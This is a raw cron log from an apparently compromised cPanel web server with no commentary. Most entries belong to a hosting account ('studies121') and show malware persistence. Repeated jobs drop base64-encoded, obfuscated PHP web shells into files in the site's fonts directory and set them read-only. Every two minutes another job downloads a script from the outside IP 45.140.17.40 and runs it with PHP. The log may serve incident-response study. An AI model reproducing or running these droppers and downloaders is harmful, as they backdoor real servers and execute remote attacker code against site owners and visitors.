Feb 23 01:11:01 ip-184-168-122-23 CROND[14555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:11:01 ip-184-168-122-23 CROND[14554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:11:01 ip-184-168-122-23 CROND[14556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:12:01 ip-184-168-122-23 CROND[14956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:12:01 ip-184-168-122-23 CROND[14957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:12:01 ip-184-168-122-23 CROND[14960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:12:01 ip-184-168-122-23 CROND[14962]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:12:01 ip-184-168-122-23 CROND[14964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:13:01 ip-184-168-122-23 CROND[15298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:13:01 ip-184-168-122-23 CROND[15299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:13:01 ip-184-168-122-23 CROND[15301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:13:01 ip-184-168-122-23 CROND[15303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:14:01 ip-184-168-122-23 CROND[15626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:14:01 ip-184-168-122-23 CROND[15627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:14:01 ip-184-168-122-23 CROND[15631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:14:01 ip-184-168-122-23 CROND[15632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:14:01 ip-184-168-122-23 CROND[15630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:15:01 ip-184-168-122-23 CROND[15968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 01:15:01 ip-184-168-122-23 CROND[15970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:15:01 ip-184-168-122-23 CROND[15973]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 01:15:01 ip-184-168-122-23 CROND[15972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:15:01 ip-184-168-122-23 CROND[15971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:15:01 ip-184-168-122-23 CROND[15974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:16:01 ip-184-168-122-23 CROND[16314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:16:01 ip-184-168-122-23 CROND[16316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:16:01 ip-184-168-122-23 CROND[16315]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:16:01 ip-184-168-122-23 CROND[16320]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 23 01:16:01 ip-184-168-122-23 CROND[16322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:16:01 ip-184-168-122-23 CROND[16323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:17:01 ip-184-168-122-23 CROND[16657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:17:01 ip-184-168-122-23 CROND[16659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:17:01 ip-184-168-122-23 CROND[16660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:17:01 ip-184-168-122-23 CROND[16661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:18:01 ip-184-168-122-23 CROND[17061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:18:01 ip-184-168-122-23 CROND[17063]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:18:01 ip-184-168-122-23 CROND[17064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:18:01 ip-184-168-122-23 CROND[17065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:18:01 ip-184-168-122-23 CROND[17066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:19:01 ip-184-168-122-23 CROND[17413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:19:01 ip-184-168-122-23 CROND[17415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:19:01 ip-184-168-122-23 CROND[17416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:19:01 ip-184-168-122-23 CROND[17420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:20:01 ip-184-168-122-23 CROND[17724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:20:01 ip-184-168-122-23 CROND[17726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:20:01 ip-184-168-122-23 CROND[17727]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 23 01:20:01 ip-184-168-122-23 CROND[17729]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 01:20:01 ip-184-168-122-23 CROND[17735]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 01:20:01 ip-184-168-122-23 CROND[17730]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 23 01:20:01 ip-184-168-122-23 CROND[17731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:20:01 ip-184-168-122-23 CROND[17736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:20:01 ip-184-168-122-23 CROND[17732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:21:01 ip-184-168-122-23 CROND[18035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:21:01 ip-184-168-122-23 CROND[18036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:21:01 ip-184-168-122-23 CROND[18038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:21:01 ip-184-168-122-23 CROND[18037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:22:01 ip-184-168-122-23 CROND[18328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:22:01 ip-184-168-122-23 CROND[18332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:22:01 ip-184-168-122-23 CROND[18333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 01:22:01 ip-184-168-122-23 CROND[18330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 01:22:01 ip-184-168-122-23 CROND[18331]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 01:23:02 ip-184-168-122-23 CROND[18692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 01:23:02 ip-184-168-122-23 CROND[18695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 01:23:02 ip-184-168-122-23 CROND[18694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
